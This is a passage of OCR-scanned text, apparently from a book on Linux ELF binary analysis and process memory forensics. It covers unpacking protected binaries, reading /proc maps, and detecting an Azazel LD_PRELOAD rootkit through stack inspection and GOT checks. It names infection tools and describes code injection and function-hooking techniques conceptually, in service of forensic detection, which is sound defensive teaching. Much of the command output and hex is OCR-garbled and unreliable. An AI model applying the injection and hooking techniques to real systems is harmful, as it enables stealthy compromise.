Program Headers:

Type Offset VirtAddr PhysAddr FileSiz MemSiz Flg Align
PHDR OX000034 Ox08048034 Ox08048034 0Ox00120 Ox00120 R E 0x4
INTERP OXx000154 0x08048154 0x08048154 0Ox00013 Ox00013 R Ox1

[Requesting program interpreter: /lib/1ld-linux.so.2]

LOAD 0x000000 0x08048000 0x08048000 0x00d43 0x00d43 R E 0x1000
LOAD 0x001fe8 Ox08049f08 Ox08049f08 Ox00118 OxO001lc RW 0x1000
DYNAMIC 0x001f14 Ox08049f14 0x08049f14 Ox000e8 OxO000e8 RW 0x4
NOTE 0x001168 Ox08048168 Ox08048168 Ox00044 0x00044 R x4
GNU_EH_FRAME 0x0014dc 0x080484dc 0x080484dc 0x0002c 0x0002c R Ox4
GNU_STACK 0X001000 OXOOOECOOOO OXOOOOLOEOO OXOOEOO OXOOEO RW O0x10

GNU_RELRO 0x001fe8 Ox08049f08 0x08049f08 OxO000f8 OXxOO0f8 R Ox1



Section to Segment mapping:
Segment Sections..

00
01 .interp
02 .interp .note.ABI-tag .note.gnu.build-id .gnu.hash .dynsym

.dynstr .gnu.version .gnu.version_r .rel.dyn .rel.plt .init .plt .text
.fini .rodata .eh_frame_hdr .eh_frame

03 .init_array .fini_array .jcr .dynamic .got .got.plt .data .bss
04 .dynamic

05

06

07

08 .init_array .fini_array .jcr .dynamic .got

Based on everything highlighted in the preceding program header output, you can see the
program entry point, the text segment (the first LOAD program header), and the fact that
.eh_frame is the last section in the text segment.






Identifying protected binaries

Identifying a protected binary is the first step in reverse-engineering it. We discussed the
common anatomy of protected ELF executables in Chapter 5, Linux Binary Protection.
Remember from what we learned that a protected binary is actually two executables that
have been merged together: you have the stub executable (the decryptor program) and
then the target executable.

One program is responsible for decrypting the other, and it is this program that is going to
typically be the wrapper that wraps or contains an encrypted binary within it, as a payload
of sorts. Identifying this outer program that we call a stub is typically pretty easy because

of the blatant oddities you will see in the program header table.

Let’s take a look at a 64-bit ELF binary that is protected using a protector I wrote in 2009
called elfcrypt:

$ readelf -1 test.elfcrypt
E1f file type is EXEC (Executable file)
Entry point 0xa01136

There are 2 program headers, starting at offset 64

Program Headers:

Type Offset VirtAddr PhysAddr
FileSiz MemSiz Flags Align

LOAD 0OXx0000000OO0EOOOOEO OXOOOEOEOOENaNOEOO OXOOEOEOOEOAa0EOBO
0Xx0000000000002470 OXOOOEOOOO0EO002470 R E 1000

LOAD OXx000000000COO3000 OXOOOEOEOOEOCOH30O0 OXOOEOEOOEOOACO3000
0Xx000000000003a23f OXOOO0000000003b4df RW 1000

So what are we seeing here? Or rather what are we not seeing?

This almost looks like a statically compiled executable because there is no PT_DYNAMIC
segment and there is no PT_INTERP segment. However, if we run this binary and check
/proc/$pid/maps, we see that this is not a statically compiled binary, but is in fact
dynamically linked.

The following is the output from /proc/$pid/maps in the protected binary:

7fa7e5d44000-7fa7e9d43000 rwxp 00000000 00:00 0O

7fa7e9d43000-7fa7eal46000 rw-p 00000000 00:00 0O

7fa7eal46000-7fa7eal301000 r-xp O00OCOEO0 08:01 11406096 /1lib/x86_64-1linux-
gnu/libc-2.19.s07fa7ea301000-7fa7ea500000 ---p 001bbOEO 08:01 11406096
/1ib/x86_64-1inux-gnu/libc-2.19.so0

7fa7ea500000-7fa7ea504000 r--p 001balOO 08:01 11406096 /1lib/x86_64-1linux-
gnhu/libc-2.19.so0

7fa7ea504000-7fa7ea506000 rw-p 001be@OO 08:01 11406096 /1lib/x86_64-1linux-
ghu/libc-2.19.so0

7fa7ea506000-7fa7ea50b000 rw-p 000000 00:00 0O

7fa7ea530000-7fa7ea534000 rw-p 00000000 00:00 0O

7fa7ea535000-7fa7ea634000 rwxp 00000000 00:00 0

[stack:8176]

7fa7ea634000-7fa7eab57000 rwxp 0000000 00:00 0O



7fa7eab657000-7fa7ea6al®0@ r--p 0OOOOOCO 08:01 11406093 /1lib/x86_64-1linux-
gnu/1d-2.19.so0

7fa7ea6al000-7fa7ea6a5000 rw-p 00000000 00:00 O

7fa7ea856000-7fa7ea857000 r--p 00O00O000 00:00 O

We can clearly see that the dynamic linker is mapped into the process address space, and
so is libc. As discussed in Chapter 5, Linux Binary Protection, this is because the
protection stub becomes responsible for loading the dynamic linker and setting up the
auxiliary vector.

From the program header output, we can also see that the text segment address is
0xa00000, which is unusual. The default linker script used for compiling executables in
x86_64 Linux defines the text address as ©x400000, and on 32-bit systems it is ©x8048000.
Having a text address other than the default does not, on its own, suggest anything
malicious, but should immediately raise suspicion. In the case of a binary protector, the
stub must have a virtual address that does not conflict with the virtual address of the self-
embedded executable it is protecting.



Analyzing a protected binary

True binary protection schemes that really do a good job will not be very easy to
circumvent, but in more cases than not you can use some intermediate reverse engineering
efforts to get past the encryption layer. The stub is responsible for decrypting the self-
embedded executable within it, which can therefore be extracted from memory. The trick
is to allow the stub to run long enough to map the encrypted executable into memory and
decrypt it.

A very general algorithm can be used that tends to work on simple protectors, especially if
they do not incorporate any anti-debugging techniques.

1. Determine the approximate number of instructions in the stub’s text segment,
represented by N.

2. Trace the program for N instructions.

3. Dump the memory from the expected location of the text segment (for example,
0x400000) and locate its data segment by using the program headers from the newly
found text segment.

A good example of this simple technique can be demonstrated with Quenya, the 32-bit
ELF manipulation software that I coded in 2008.

Note

UPX uses no anti-debugging techniques and is therefore relatively straightforward to
unpack.

The following are the program headers of a packed executable:

$ readelf -1 test.packed

Elf file type is EXEC (Executable file)

Entry point 0Oxc0Oc500

There are 2 program headers, starting at offset 52

Program Headers:

Type Offset VirtAddr PhysAddr FileSiz MemSiz Flg Align
LOAD OX000000 OXOOCO1000 OXOOCO1000 OxObdO3 O0xObdE3 R E O0x1000
LOAD 0x000f94 Ox08063f94 Ox08063f94 OxXOO000 OXxOOOEO RW 0Ox1000

We can see that the stub begins at 9xc01000, and Quenya will presume that the real text
segment is at the expected address for a 32-bit ELF executable: 0x8048000.

Here is Quenya using its unpack feature to decompress test . packed:
$ quenya

Welcome to Quenya vO.l1-the ELF modification and analysis tool
Designed and maintained by ElfMaster

Type 'help' for a list of commands
[Quenya vO.1@workshop] unpack test.packed test.unpacked



Text segment size: 48387 bytes

[+] Beginning analysis for executable reconstruction of process image (pid:
2751)

[+] Getting Loadable segment info..

[+] Found loadable segments: text segment, data segment

[+] text_vaddr: Ox8048000 text_offset: Ox0

[+] data_vaddr: 0Ox8062ef8 data_offset: 0x19ef8

[+] Dynamic segment location successful

[+] PLT/GOT Location: Failed

[+] Could not locate PLT/GOT within dynamic segment; attempting to skip PLT
patches..

Opening output file: test.unpacked

Successfully created executable

As we can see, the Quenya unpack feature has allegedly unpacked the UPX packed
executable. We can verify this by simply looking at the program headers of the unpacked
executable:

readelf -1 test.unpacked

E1f file type is EXEC (Executable file)

Entry point 0x804c041

There are 9 program headers, starting at offset 52

Program Headers:

Type Offset VirtAddr PhysAddr FileSiz MemSiz Flg Align
PHDR 0Xx000034 Ox08048034 0x08048034 Ox00120 Ox00120 R E 0x4
INTERP Ox000154 Ox08048154 Ox08048154 0Ox00013 Ox00013 R Ox1
[Requesting program interpreter: /lib/1d-linux.so.2]

LOAD OX000000 OxO8048000 OxO08048000 Ox19b8O Ox19b80 R E 0x1000
LOAD 0x019ef8 Ox08062ef8 Ox08062ef8 Ox00448 OxO109c RW 0x1000
DYNAMIC 0x019f04 Ox08062f04 0x08062f04 OXxO00f8 OxOOOf8 RW 0Ox4
NOTE 0Xx000168 Ox08048168 0x08048168 Ox00044 Ox00044 R  0Ox4
GNU_EH_FRAME 0x016508 0x0805e508 0x0805e508 0x00744 0x00744 R  0Ox4
GNU_STACK OX000000 OXOOEOOEOO OXOEOOEOO OXOOOEO OXEOOO RW 0x10
GNU_RELRO 0x019ef8 Ox08062ef8 Ox08062ef8 OXxOO108 OxO0108 R  0Ox1

Notice that the program headers are completely different from the ones we looked at
previously when the executable was still packed. This is because we are no longer looking
at the stub executable. We are looking at the executable that was compressed inside the
stub. The unpacking technique we used is very generic and not very effective for more
complicated protection schemes, but helps beginners gain an understanding into the
process of reversing protected binaries.






IDA Pro

Since this book tries to focus on the anatomy of the ELF format, and the concepts behind
analysis and patching techniques, we are less focused on which of the fancy tools to use.
The very famous IDA Pro software has a well-deserved reputation. It is hands down the
best disassembler and decompiler available to the public. It is expensive though, and
unless you can afford a license, you may have settle for something a little less effective,
such as Hopper. IDA Pro is quite complicated and requires an entire book unto itself, but
in order to properly understand and use IDA Pro for ELF binaries, it is good to first
understand the concepts taught in this book, which can then be applied when using IDA
pro to reverse-engineer software.






Summary

In this chapter, you learned the fundamentals of ELF binary analysis. You examined the
procedures involved in identifying various types of virus infection, function hijacking, and
binary protection. This chapter will serve you well in the beginner to intermediate phases
of ELF binary analysis: what to look for and how to identify it. In the following chapters,
you will cover similar concepts, such as analyzing process memory for identifying
anomalies such as backdoors and memory-resident viruses.

For those interested in knowing how the methods described in this chapter could be used
in the development of an anti-virus or detection software, there do exist some tools I have
designed that use similar heuristics to those described in this chapter for detecting ELF
infections. One of these tools is called AVU and was mentioned with a download link in
Chapter 4, ELF Virus Technology — Linux/Unix Viruses. Another one is named Arcana and
is still private. I have not personally seen any public products on the market though that
use these types of heuristics on ELF binaries, although such tools are sorely needed to aid
Linux binary forensics. In Chapter 8, ECFS — Extended Core File Snapshot Technology,
we will explore ECFS, which is a technology I have been working on to help improve
some of the areas where forensics capabilities are lacking, especially as it pertains to
process memory forensics.






Chapter 7. Process Memory Forensics

In the previous chapter, we examined the key methods and ways to approach the analysis
of an ELF binary in Linux, especially when concerning malware, and ways to detect the
presence of a parasite within executable code.

Just as an attacker may patch a binary on disk, they may also patch a running program in
memory to achieve similar goals, while avoiding being detected by programs that look for
file modification, such as a tripwire. This sort of hot patching of a process image can be
used to hijack functions, inject shared libraries, execute parasite shellcode, and so on.
These types of infections are often the components needed for memory-resident
backdoors, viruses, key loggers, and hidden processes.

Note

An attacker can run sophisticated programs that will run cloaked within an existing
process address space. This has been demonstrated with Saruman v0.1, which is available

at http://www.bitlackeys.org/#saruman.

The examination of a process image when performing forensics or runtime analysis is
rather similar to looking at a regular ELF binary. There are more segments and overall
moving pieces in a process address space, and the ELF executable will undergo some

changes, such as runtime relocations, segment alignment, and .bss expansion.

However, in reality, the investigation steps are very similar for an ELF executable and an
actual running program. The running program was initially created by the ELF images that
are loaded into the address space. Therefore, understanding the ELF format will help
understand how a process looks in memory.


http://www.bitlackeys.org/#saruman

What does a process look like?

One important file on any Linux system is the /proc/$pid/maps file. This file shows the
entire process address space of a running program, and it is something that I often parse in
order to determine the location of certain files or memory mappings within a process.

On Linux kernels that have the Grsecurity patches, there is a kernel option called
GRKERNSEC_PROC_MEMMAP that, if enabled, will zero out the /proc/$pid/maps
file so that you cannot see the address space values. This makes parsing a process from the
outside a bit more difficult, and you must rely on other techniques such as parsing the ELF
headers and going from there.

Note

In the next chapter, we will be discussing the ECFS (short for Extended Core File
Snapshot) format, which is a new ELF file format that expands on regular core files and
contains an abundance of forensics-relevant data.

Here’s an example of the process memory layout of the hello_world program:

$ cat /proc/ pidof hello_world /maps

00400000-00401000 r-xp 0O00EOO0 00:1b 8126525 /home/ryan/hello_world
00600000-00601000 r--p OOOEOOO 00:1b 8126525 /home/ryan/hello_world
00601000-00602000 rw-p 00001000 00:1b 8126525 /home/ryan/hello_world
0174e000-0176f000 rw-p OOOOOOOO 00:00 0O [heap]
7fed9c5a7000-7fed9c762000 r-xp O0OOOOO0O0 08:01 11406096 /1ib/x86_64-1inux-
gnu/libc-2.19.so0

7fed9c762000-7fed9c961000 ---p 001bbOOO 08:01 11406096  /1ib/x86_64-1linux-
gnu/libc-2.19.so0

7fed9c961000-7fed9c965000 r--p 001baOO 08:01 11406096 /1ib/x86_64-1inux-
gnu/libc-2.19.so0

7fed9c965000-7fed9c967000 rw-p 001beQOO 08:01 11406096 /1ib/x86_64-1inux-
gnu/libc-2.19.so0

7fed9c967000-7fed9c96c000 rw-p OOOEOOOO 00:00 O

7fed9c96c000-7fed9c98f0O0O0 r-xp OOOEOEOO 08:01 11406093 /1ib/x86_64-1inux-
gnu/1d-2.19.so0

7fed9ch62000-7fed9ch65000 rw-p OOOEOOOO 00:00 O

7fed9ch8c000-7fed9ch8e000 rw-p 00OEOEOO 00:00 0O

7fed9ch8e000-7fed9ch8f0O00 r--p 00022000 08:01 11406093 /1ib/x86_64-1inux-
ghu/1d-2.19.so0

7fed9cbh8f000-7fed9ch90000 rw-p 00023000 08:01 11406093 /1ib/x86_64-1inux-
ghu/1d-2.19.so0

7fed9ch90000-7fed9ch91000 rw-p 00OEOEO0O 00:00 0O

7fffo975f000-7fffO9780000 rw-p O0OEOEO0O 00:00 0O [stack]
7fff097b2000-7fffO97b4000 r-xp O0OEOEO0 00:00 0O [vdso]
frffffffffe00000-ffffffffff601000 r-xp 00000000 00:00 0 [vsyscall]

The preceding maps file output shows the process address space of a very simple Hello
World program. Let’s go over it in several chunks, explaining each part.



Executable memory mappings

The first three lines are the memory mappings for the executable itself. This is quite
obvious because it shows the executable path at the end of the file mapping:

00400000-00401000 r-xp 0000000 00:1b 8126525 /home/ryan/hello_world
00600000-00601000 r--p OOOEOOO 00:1b 8126525 /home/ryan/hello_world
00601000-00602000 rw-p 00001000 00:1b 8126525 /home/ryan/hello_world

We can see that:

o The first line is the text segment, which is easy to tell because the permissions are
read plus execute

e The second line is the first part of the data segment, which has been marked as read-
only due to RELRO (read-only relocation) security protection

e The third mapping is the remaining part of the data segment that is still writable



The program heap

The heap is typically grown right after the data segment. Before ASLR existed, it was
extended from the end of the data segment address. Nowadays, the heap segment is
randomly memory-mapped, but it can be found in the maps file right after the end of the
data segment:

0174e000-0176Tf000 rw-p 0OOOOOOO 00:00 0O [heap]

There are also anonymous memory mappings that may be created when a call to malloc()
requests a chunk of memory that exceeds MMAP_THRESHOLD in size. These types of
anonymous memory segments will not be marked with the [heap] label.



Shared library mappings

The next four lines are the memory mappings for the shared library, 1ibc-2.19.so. Notice
that there is a memory mapping marked with no permissions between the text and data
segments. This is simply for occupying space in that area so that no other arbitrary
memory mappings may be created to use the space between the text and data segments:

7fed9c5a7000-7fed9c762000 r-xp 0O00OOO0 08:01 11406096

gnu/libc-2.19.so0

7fed9c762000-7fed9c961000 ---p 001bbOOO 08:01 11406096

gnu/libc-2.19.so0

7fed9c961000-7fed9c965000 r--p 001badoe 08:01 11406096

gnu/libc-2.19.so0

7fed9c965000-7fed9c967000 rw-p 001beOOO 08:01 11406096

gnu/libc-2.19.so0

/1ib/x86_64-1linux-
/1ib/x86_64-1linux-
/1ib/x86_64-1linux-

/1ib/x86_64-1linux-

In addition to regular shared libraries, there is the dynamic linker, which is also technically
a shared library. We can see that it is mapped to the address space by looking at the file
mappings right after the 1ibc mappings:

7fed9c96c000-7fed9c98T000
gnu/1ld-2.19.so0
7fed9cb62000-7fed9ch65000
7fed9cb8c000-7fed9ch8e000
7fed9cb8e000-7fed9chb8f000
gnu/1d-2.19.so0
7fed9cbh8f000-7fed9ch90000
gnu/ld-2.19.so
7fed9cb90000-7fed9ch91000

00000000
00000000
00000000
00022000
00023000

00000000

08:
00:
00:
08:
08:

00:

01
00
00
01
01

00

114060693
0
0
11406093
11406093

0

/1ib/x86_64-1inux-

/1ib/x86_64-1inux-

/1ib/x86_64-1inux-



The stack, vdso, and vsyscall

At the end of the maps file, you will see the stack segment, followed by VDSO (short for
Virtual Dynamic Shared Object) and vsyscall:

7fff0975f000-7fFf09780000 rw-p 00000000 00:00 O [stack]
7fff097b2000-7fFfO97h4000 r-xp 00000000 00:00 O [vdso]
FEFffFFfffe00000-ffFFffffff601000 r-xp 00000000 00:00 0 [vsyscall]

VDSO is used by glibc to invoke certain system calls that are frequently called and would
otherwise create a performance issue. VDSO helps speed this up by executing certain
syscalls in userland. The vsyscall page is deprecated on x86_64, but on 32-bit, it
accomplishes the same thing as VDSO.
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Process memory infection

There are many rootkits, viruses, backdoors, and other tools out there that can be used to
infect a system’s userland memory. We will now name and describe a few of these.



Process infection tools

e Azazel: This is a simple but effective LD_PRELOAD injection userland rootkit for Linux
that is based on its predecessor rootkit named Jynx. LD_PRELOAD rootkits will preload
a shared object into the program that you want to infect. Typically, such a rootkit will
hijack functions such as open, read, write, and so on. These hijacked functions will
show up as PLT hooks (modified GOT). For more information, visit
https://github.com/chokepoint/azazel.

e Saruman: This is a relatively new anti-forensics infection technique that allows a
user to inject a complete dynamically linked executable into an existing process. Both
the injected and the injectee will run concurrently within the same address space.
This allows stealthy and advanced remote process infection. For more information,
visit https://github.com/elfmaster/saruman.

e sshd_fucker (phrack .so injection paper): sshd_fucker is the software that comes
with the Phrack 59 paper Runtime process infection. The software infects the sshd
process and hijacks PAM functions that usernames and passwords are passed
through. For more information, visit http://phrack.org/issues/59/8.html


https://github.com/chokepoint/azazel
https://github.com/elfmaster/saruman
http://phrack.org/issues/59/8.html

Process infection techniques

What does process infection mean? For our purposes, it means describing ways of
injecting code into a process, hijacking functions, hijacking control flow, and anti-
forensics tricks to make analysis more difficult. Many of these techniques were covered in
Chapter 4, ELF Virus Technology — Linux/Unix Viruses, but we will recapitulate some of
these here.

Injection methods

e ET_DYN (shared object) injection: This is accomplished using the ptrace()
system call and shellcode that uses either the mmap() or _ 1ibc_dlopen_mode()
function to load the shared library file. A shared object might not be a shared object
at all; it may be a PIE executable, as with the Saruman infection technique, which is a
form of anti-forensics for allowing a program to run inside of an existing process
address space. This technique is what I call process cloaking.

Note

LD_PRELOAD is another common trick for loading a malicious shared library into a
process address space to hijack shared library functions. This can be detected by
validating the PLT/GOT. The environment variables on the stack can also be
analyzed to find out whether LD_PRELOAD has been set.

e ET_REL (relocatable object) injection: The idea here is to inject a relocatable
object file into a process for advanced hot patching techniques. The ptrace system
call (or programs that use ptrace(), such as GDB) can be used to inject shellcode
into the process, which in turn memory-maps the object file to the memory.

e PIC code (shellcode) injection: Injecting shellcode into a process is typically done
with ptrace. Often, shellcode is the first stage in injecting more sophisticated code
(such as ET_DYN and ET_REL files) into the process.

Techniques for hijacking execution

e PLT/GOT redirection: Hijacking shared library functions is most commonly
accomplished by modifying the GOT entry for the given shared library so that the
address reflects the location of the code injected by the attacker. This is essentially
the same thing as overwriting a function pointer. We will discuss methods of
detecting this later in this chapter.

¢ Inline function hooking: This method, also called function trampolines, is
common both on disk and in memory. An attacker can replace the first 5 to 7 bytes of
code in a function with a jmp instruction that transfers control to a malicious function.
This can be detected easily by scanning the initial byte code in every function.

e Patching .ctors and .dtors: The .ctors and .dtors sections in a binary (which can be
located in the memory) contain an array of function pointers for initialization and
finalization functions. These can be patched by an attacker on disk and in memory so
that they point to parasite code.

e Hijacking VDSO for syscall interception: The VDSO page that is mapped to the



process address space contains code for invoking system calls. An attacker can use
ptrace(PTRACE_SYSCALL, ..) to locate this code and then replace the %rax register
with the system call number that they want to invoke. This allows a clever attacker to
invoke any system call that they want to in a process without having to inject
shellcode. Check out this paper I wrote in 2009; it describes the technique in detail at
http://vxheaven.org/lib/vrn00.html.



http://vxheaven.org/lib/vrn00.html




Detecting the ET_DYN injection

I think that the most prevalent type of process infection is DLL injection, also known as
.so injection. It is a clean and effective solution that suits the needs of most attackers and
runtime malware. Let’s take a look at an infected process, and I will highlight the ways in
which we can identify parasite code.

Note

The terms shared object, shared library, DLL, and ET_DYN are all used synonymously
throughout this book, especially in this particular section.



Azazel userland rootkit detection

Our infected process is a simple test program named . /host that is infected with the
Azazel userland rootkit. Azazel is the newer version of the popular Jynx rootkit. Both of
these rootkits rely on LD_PRELOAD to load a malicious shared library that hijacks various
glibc shared library functions. We will inspect the infected process using various GNU
tools and the Linux environment, such as the /proc filesystem.



Mapping out the process address space

The first step while analyzing a process is to map out the address space. The most
straightforward way to do this is by looking at the /proc/<pid>/maps file. We want to
take note of any strange file mappings and segments with odd permissions. Also in our
case, we may need to check the stack for environment variables, so we will want to take
note of its location in memory.

Note

The pmap <pid> command can also be used instead of cat /proc/<pid>/maps. I prefer
looking directly at the maps file because it shows the entire address range of each memory
segment and the complete file path of any file mappings, such as shared libraries.

Here’s an example of memory mappings of an infected process ./host:

$ cat /proc/ pidof host /maps

00400000-00401000 r-xp 00000000 00:24 5553671

/home/user/git/azazel/host

00600000-00601000 r--p 00000000 00:24 5553671

/home/user/git/azazel/host

00601000-00602000 rw-p 00001000 00:24 5553671

/home/user/git/azazel/host

0066Cc000-0068dOOO rw-p OOOCOOOE 00:00 O [heap]
3001000000-3001019000 r-xp 0OOEEOOO 08:01 11406078 /1lib/x86_64-1linux-
gnu/libaudit.so0.1.0.0

3001019000-3001218000 ---p 00019000 08:01 11406078 /1lib/x86_64-1linux-
gnu/libaudit.so0.1.0.0

3001218000-3001219000 r--p 00018000 08:01 11406078 /1lib/x86_64-1linux-
gnu/libaudit.so0.1.0.0

3001219000-300121a000 rw-p 00019000 08:01 11406078 /1lib/x86_64-1linux-
gnu/libaudit.so0.1.0.0

300121a000-3001224000 rw-p 0OOEOO0O 00:00 0O

3003400000-300340d000O r-xp OOOEOOOE 08:01 11406085 /1ib/x86_64-1inux-
gnu/libpam.so0.0.83.1

300340d000-300360c000 ---p OOOOAOOE 08:01 11406085 /1ib/x86_64-1inux-
gnu/libpam.s0.0.83.1

300360c000-300360d00O r--p OOOOCOOO 08:01 11406085 /1ib/x86_64-1inux-
gnhu/libpam.so0.0.83.1

300360d000-300360€000 rw-p OOOOAOOE 08:01 11406085 /1ib/x86_64-1inux-
gnhu/libpam.so0.0.83.1

7fc30ac7f000-7fc30ac81000 r-xp O00OEOEOO 08:01 11406070 /1lib/x86_64-1inux-
gnu/libutil-2.19.so0

7fc30ac81000-7fc30ae80000 ---p 00002000 08:01 11406070 /1ib/x86_64-1inux-
gnu/libutil-2.19.so0

7fc30ae80000-7fc30ae81000 r--p O00OO1000 08:01 11406070 /1lib/x86_64-1inux-
gnu/libutil-2.19.so0

7fc30ae81000-7fc30ae82000 rw-p 00002000 08:01 11406070 /l1lib/x86_64-1inux-
gnhu/libutil-2.19.so0

7fc30ae82000-7fc30ae85000 r-xp OOOEOEOO 08:01 11406068 /l1lib/x86_64-1inux-
gnhu/l1ibdl-2.19.s0

7fc30ae85000-7fc30b084000 ---p OOOOE3000 08:01 11406068 /1lib/x86_64-1inux-
gnhu/l1ibdl-2.19.s0

7fc30b084000-7fc30bO85000 r--p 0OE2000 08:01 11406068 /l1lib/x86_64-1inux-



gnu/libdl-2.19.s0
7fc30b085000-7fc30b086000
gnu/libdl-2.19.s0
7fc30b086000-7fc30b241000
gnu/libc-2.19.so0
7fc30b241000-7fc30b440000
gnu/libc-2.19.so0
7fc30b440000-7fc30b444000
gnu/libc-2.19.so0
7fc30b444000-7fc30b446000
gnu/libc-2.19.so0
7fc30b446000-7fc30b44b000O
7fc30b44b000-7fc30b453000

r--p
rw-p

rw-p
r-xXp

00003000

00000000

001bb000O

001bab0o

001be000O

00000000
00000000

/home/user/git/azazel/libselinux.so
7fc30b453000-7fc30b652000 ---p 00008000
/home/user/git/azazel/libselinux. so
7fc30b652000-7fc30b653000 r--p 00007000
/home/user/git/azazel/libselinux.so
7fc30b653000-7fc30b654000 rw-p 00008000
/home/user/git/azazel/libselinux.so

7fc30b654000-7fc30b677000
linux-gnu/1ld-2.19.so0
7fc30b847000-7fc30b84cO00
7fc30b873000-7fc30b876000
7fc30b876000-7fc30b877000
gnhu/1d-2.19.so0
7fc30b877000-7fc30b878000
gnu/1d-2.19.so0
7fc30b878000-7fc30b879000
7fff82fae000-7fff82fcf000
7fff82ffbOEO-7fff82ffdOOO

r-Xp

rw-p
rw-p
r--p

rw-p
rw-p

rw-p
r-xp

00000000

00000000
00000000
00022000

00023000
00000000

00000000
00000000

08:
08:
08:
08:
08:

00:
00:

00:
00:
00:
08:
00:
00:
08:
08:
00:
00:

00:
frffffffffe600000-ffffffffff601000 r-xp OOCOEOCO 00:00 O

01

01

01

01

01

00
24

24
24
24
01
00
00
01
01
00

00
00

11406068 /1ib/x86_64-1inux-

11406096 /1ib/x86_64-1inux-

11406096 /1ib/x86_64-1inux-

11406096 /1ib/x86_64-1inux-

11406096 /1ib/x86_64-1inux-

0
5553672

5553672
5553672
5553672
11406093
0

0
11406093
11406093
0

0]
0

/1ib/x86_64-

/1ib/x86_64-1inux-
/1ib/x86_64-1inux-
[stack]

[vdso]
[vsyscall]

The areas of interest and concern are highlighted in the preceding output of the maps file
for the process of ./host. In particular, notice the shared library with the
/home/user/git/azazel/libselinux.so path. This should immediately grab your
attention because the path is not the standard shared library path and it has the name
libselinux.so, which is traditionally stored with all other shared libraries (that is,

/usr/1ib).

This could indicate possible shared library injection (also known as the ET_DYN injection),
which would mean that this is not the authentic 1ibselinux.so library. The first thing that
we might check for in this case is the LD_PRELOAD environment variable to see whether it

was used to preload the 1ibselinux.so library.



Finding LD_PRELOAD on the stack

The environment variables for a program are stored near the bottom of the stack at the
beginning of a program’s runtime. The bottom of the stack is actually the highest address
(the beginning of the stack), since the stack grows into smaller addresses on the x86
architecture. Based on the output from /proc/<pid>/maps, we can get the location of the
stack:

STACK_TOP STACK_BOTTOM
7fff82faed00 - 7fff82fcfoOO

So, we want to check the stack from ox7fffg2fcfoee onward. Using GDB, we can attach
to the process and quickly locate the environment variables on the stack by using the x/s
<address> command, which tells GDB to view the memory in ASCII format. The
x/4096s <address> command does the same thing but reads from 4,096 bytes of data.

We can safely presume that the environment variables will be in the first 4,096 bytes of
the stack, but since the stack grows into lower addresses, we must start reading at
<stack_bottom> - 4096.

Note

The argv and envp pointers point to command-line arguments and environment variables
respectively. We are not looking for the actual pointers but rather the strings that these
pointers reference.

Here’s an example of using GDB to read environment variables on a stack:

$ gdb -gq attach “pidof host"
$ x/4096s (Ox7fff82fcfoO0 - 4096)

. scroll down a few pages ..

Ox7fff82fce359: "./host"

Ox7fff82fce360: "LD_PRELOAD=./libselinux.so"
Ox7fff82fce37b: "XDG_VTNR=7"

---Type <return> to continue, or q <return> to quit---
Ox7fff82fce386: "XDG_SESSION_ID=c2"

Ox7fff82fce398: "CLUTTER_IM_MODULE=xim"
Ox7fff82fce3ae: "SELINUX_INIT=YES"

Ox7fff82fce3bf: "SESSION=ubuntu"

ox7fff82fce3ce: "GPG_AGENT_INFO=/run/user/1000/keyring-jIVrX2/gpg:0:1"
Ox7fff82fce403: "TERM=xterm"

Ox7fff82fce40e: "SHELL=/bin/bash"

. truncated ..

As we can see from the preceding output, we have verified that LD_PRELOAD was used to
preload libselinux.so into the process. This means that any glibc functions within the
program that have the same name as any functions in the preloaded shared library will be
overridden and effectively hijacked by the ones in 1ibselinux. so.

In other words, if the . /host program calls the fopen function from glibc and



libselinux.so contains its own version of fopen, then that is the fopen function that will
be stored in the PLT/GOT (the .got.plt section) and used instead of the glibc version.
This leads us to the next indicated item—detecting function hijacking in the PLT/GOT

(the PLT’s global offset table).



Detecting PLT/GOT hooks

Before checking the PLT/GOT that is in the ELF section called .got.plt (which is in the
data segment of the executable), let’s see which functions in the ./host program have
relocations for the PLT/GOT. Remember from the chapter on ELF internals that the
relocation entries for the global offset table are of the <ARCH>_JUMP_SLOT type. Refer to
the ELF(5) manual for details.

Note

The relocation type for the PLT/GOT is called <ARCH>_JUMP_SLOT because they are just
that—jump slots. They contain function pointers that the PLT uses with jmp instructions to
transfer control to the destination function. The actual relocation types are named
X86_64_JUMP_SLOT, 1i386_JUMP_SLOT, and so on depending on the architecture.

Here’s an example of identifying shared library functions:

$ readelf -r host

Relocation section '.rela.plt' at offset 0x418 contains 7 entries:
000000601018 0001000007 R_X86_64_JUMP_SLO 000O000O000000000 unlink + 0
000000601020 000200000007 R_X86_64_JUMP_SLO 0000000000000000 puts + O
000000601028 000300000007 R_X86_64_JUMP_SLO 0000000000000000 opendir + O
000000601030 000400000007 R_X86_64_JUMP_SLO 0000000000000000
__libc_start_main+0

000000601038 000500000007 R_X86_64_JUMP_SLO 0000000000000000
__gmon_start__+0

000000601040 0OOO600000007 R_X86_64_JUMP_SLO 0000000000000000 pause + 0
000000601048 000700000007 R_X86_64_JUMP_SLO 000O0000000000000 fopen + O

We can see that there are several well-known glibc functions being called. It is possible
that some or all of these are being hijacked by the imposture shared library
libselinux. so.

Identifying incorrect GOT addresses

From the readelf output that displays the PLT/GOT entries in the ./host executable, we
can see the address of each symbol. Let’s take a look at the global offset table in the
memory for the following symbols: fopen, opendir, and unlink. It is possible that these
have been hijacked and no longer point to the libc. so library.

Here’s an example of the GDB output displaying the GOT values:

(gdb) x/gx 0x601048

0x601048 <fopen@got.plt>: 0Ox00007fc30b44e609
(gdb) x/gx 0x601018

0x601018 <unlink@got.plt>: 0x00007fc30b44ec81
(gdb) x/gx 0x601028

0x601028 <opendir@got.plt>: 0Ox00007fc30b44ed77

A quick look at the executable memory region of the selinux.so shared library shows us
that the addresses displayed in the GOT by GDB point to functions within selinux.so
and not libc. so:



7fc30b44b000-7fc30b453000 r-xp /home/user/git/azazel/libselinux.so

With this particular malware (Azazel), the malicious shared library was preloaded using
LD_PRELOAD, which made verifying the library as suspicious an easy task. This is not
always the case, as many forms of malware will inject the shared library via ptrace() or
shellcode that uses either mmap () or __libc_dlopen_mode(). The heuristics for
determining whether or not a shared library has been injected will be detailed in the next
section.

Note

As we will see in the following chapter, the ECFS technology for process memory
forensics has some features that make identifying injected DLLs and other types of ELF
objects almost simple.



ET_DYN injection internals

As we just demonstrated, detecting shared libraries that have been preloaded with
LD_PRELOAD is rather simple. What about shared libraries that were injected into a remote
process? Or in other words, shared objects that were inserted into a pre-existing process?
It is important to know whether or not a shared library was maliciously injected if we want
to be able to take the next step and detect PLT/GOT hooks. First, we must identify all the
ways in which a shared library can be injected into a remote process, as we briefly
discussed in section 7.2.2.

Let’s look at a concrete example of how this might be accomplished. Here is some
